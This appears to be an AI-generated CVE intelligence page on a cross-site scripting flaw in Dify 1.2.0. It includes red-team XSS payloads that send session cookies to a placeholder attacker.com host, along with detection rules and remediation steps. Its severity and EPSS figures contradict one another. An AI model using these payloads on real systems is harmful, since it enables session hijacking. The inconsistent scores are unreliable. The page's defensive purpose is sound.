☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-49149

CVE-2025-49149 Cross-Site Scripting in Dify
📅 PUBLISHED: 2025-06-17 22:34 UTC 🔄 UPDATED: 2026-09-23 20:31 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.28%
👁️
0.28% probability
7.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-49149 is a Cross-Site Scripting (XSS) vulnerability identified in Dify, an open-source LLM app development platform, specifically in version 1.2.0. The vulnerability stems from insufficient filtering of user-supplied input by web applications, allowing an attacker to inject and execute arbitrary JavaScript code within the context of a victim's browser session. This can lead to session hijacking, data theft, or defacement. At the time of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for unpatched instances.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Dify is distributed as a Python/Docker-based application. The vulnerability exists in the web application layer, not in a specific package manager (NPM, PyPI, Go, Ruby). However, organizations using Dify should audit their deployment for any custom plugins or extensions that may also be affected. The lack of a patch means that supply chain security relies on manual code review and input sanitization.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the vulnerability type (XSS), a reasonable CVSS v3.1 vector would be:

  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L)
  • Privileges Required (PR): None (N)
  • User Interaction (UI): Required (R)
  • Scope (S): Changed (C)
  • Confidentiality (C): Low (L)
  • Integrity (I): Low (L)
  • Availability (A): None (N)

Estimated CVSS Score: 6.1 (Medium)

Threat Level: Medium. While XSS is a common vulnerability, the lack of a patch and the potential for session hijacking in an LLM platform (which may handle sensitive API keys or user data) elevates the risk.

Deep Dive & Mechanics

The vulnerability is a classic Stored or Reflected XSS (CWE-79). The web application fails to properly sanitize user-controlled input before rendering it in a web page. An attacker can craft a malicious payload (e.g., <script>alert('XSS')</script>) and submit it via a form, URL parameter, or API endpoint. When another user (or the same user) views the affected page, the script executes in their browser.

Attack Flow:

  1. Attacker identifies an input field (e.g., a chat prompt, user profile field, or API key name) that is not sanitized.
  2. Attacker injects a JavaScript payload, such as: <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>
  3. The payload is stored in the database (Stored XSS) or reflected in the response (Reflected XSS).
  4. Victim visits the affected page, the script executes, and the attacker exfiltrates the victim's session cookie or performs actions on their behalf.

Vulnerable vs. Patched Code

Since no patched version exists, we can only describe the vulnerable pattern and the expected fix.

Vulnerable Code (Conceptual):

# Vulnerable: Directly rendering user input without sanitization
def render_user_input(user_input):
    return f"<div>{user_input}</div>"

Patched Code (Expected Fix):

# Patched: Using a templating engine with auto-escaping or manual sanitization
import html

def render_user_input(user_input):
    safe_input = html.escape(user_input)
    return f"<div>{safe_input}</div>"

Exploitation & Lab Setup

Red Team (Exploitation)

Since no public exploit exists, a red team would need to craft a custom payload. The following steps outline a manual exploitation attempt:

  1. Identify Input Vectors: Use a web proxy (e.g., Burp Suite) to intercept requests to Dify endpoints. Look for parameters like name, description, prompt, or message.
  2. Test for XSS: Inject a simple payload: <script>alert(1)</script>. If an alert box appears, the vulnerability is confirmed.
  3. Craft a Stealthy Payload: Use an event handler to avoid alert boxes:
    <img src=x onerror="new Image().src='https://attacker.com/steal?c='+document.cookie">
    
  4. Deliver the Payload: If stored XSS, submit the payload via a form. If reflected, craft a malicious link and send it to the victim (e.g., via phishing).

Lab Setup:

  • Target: Dify v1.2.0 running in a Docker container.
  • Tools: Burp Suite, Python (for a simple HTTP server to capture cookies), browser with developer tools.
  • Command to start a listener: python3 -m http.server 8080

Blue Team (Detection & Response)

Blue teams should monitor for XSS attempts and anomalous behavior:

  1. Web Application Firewall (WAF): Deploy a WAF rule to block common XSS patterns (e.g., <script>, onerror=, javascript:).
  2. Input Validation: Implement server-side input validation and output encoding.
  3. Log Monitoring: Look for repeated requests with suspicious characters (e.g., <, >, &, %3C, %3E).
  4. User Behavior Analytics: Detect unusual outbound connections from the Dify server (e.g., to unknown IPs on port 80/443).

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound HTTP requests to attacker-controlled domains (e.g., attacker.com).
    • Suspicious URL parameters containing <script> or onerror.
  • File IOCs:
    • Log entries containing JavaScript payloads (e.g., alert(1)).
  • System IOCs:
    • Unexpected JavaScript execution in the browser (visible via developer console).

Detection Engineering

YARA Rule

rule CVE_2025_49149_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting Dify v1.2.0"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49149"
    strings:
        $xss1 = "<script>" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
        $xss5 = "alert(" nocase
        $xss6 = "document.cookie" nocase
    condition:
        any of ($xss*)
}

Sigma Rule

title: XSS Attempt Against Dify v1.2.0
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential XSS payloads in HTTP requests to Dify endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
            - 'javascript:'
            - 'alert('
            - 'document.cookie'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in admin panels (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-49149 XSS Payload Detected"; flow:to_server,established; content:"<script>"; nocase; http_uri; sid:1000001; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-49149 XSS Payload Detected"; flow:to_server,established; content:"onerror="; nocase; http_uri; sid:1000002; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-49149 XSS Payload Detected"; flow:to_server,established; content:"document.cookie"; nocase; http_uri; sid:1000003; rev:1;)

Remediation & Mitigation

Since no official patch exists, the following mitigations are recommended:

  1. Input Sanitization: Manually review and sanitize all user inputs using a library like bleach (Python) or DOMPurify (JavaScript).
  2. Output Encoding: Ensure all user-supplied data is HTML-encoded before rendering.
  3. Content Security Policy (CSP): Implement a strict CSP header to block inline scripts and restrict script sources.
  4. Web Application Firewall (WAF): Deploy a WAF with XSS rules (e.g., ModSecurity with OWASP CRS).
  5. Disable Unnecessary Features: If possible, disable features that allow rich text input (e.g., markdown editors) until a patch is available.
  6. Monitor for Updates: Regularly check the Dify GitHub repository for a security patch.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-49149/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.